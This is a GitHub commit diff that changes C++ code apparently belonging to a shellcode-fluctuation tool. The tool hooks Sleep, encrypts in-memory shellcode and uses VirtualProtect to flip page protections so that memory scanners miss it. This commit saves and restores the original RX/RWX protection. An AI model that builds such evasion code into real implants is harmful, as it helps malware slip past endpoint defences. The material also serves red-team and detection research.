File tree Expand file tree Collapse file tree 2 files changed +4
-3
lines changed Expand file tree Collapse file tree 2 files changed +4
-3
lines changed Original file line number Diff line number Diff line change @@ -31,6 +31,7 @@ struct FluctuationMetadata
31
31
SIZE_T shellcodeSize;
32
32
bool currentlyEncrypted;
33
33
DWORD encodeKey;
34
+ DWORD protect;
34
35
};
35
36
36
37
struct HookedSleep
Original file line number Diff line number Diff line change @@ -291,7 +291,7 @@ void shellcodeEncryptDecrypt(LPVOID callerAddress)
291
291
g_fluctuationData.shellcodeAddr,
292
292
g_fluctuationData.shellcodeSize,
293
293
PAGE_READWRITE,
294
- &oldProt
294
+ &g_fluctuationData.protect
295
295
);
296
296
297
297
log (" [>] Flipped to RW." );
@@ -330,11 +330,11 @@ void shellcodeEncryptDecrypt(LPVOID callerAddress)
330
330
::VirtualProtect (
331
331
g_fluctuationData.shellcodeAddr,
332
332
g_fluctuationData.shellcodeSize,
333
- Shellcode_Memory_Protection ,
333
+ g_fluctuationData.protect ,
334
334
&oldProt
335
335
);
336
336
337
- log (" [<] Flipped to RX.\n " );
337
+ log (" [<] Flipped back to RX/RWX .\n " );
338
338
}
339
339
340
340
g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted ;
You can’t perform that action at this time.
0 commit comments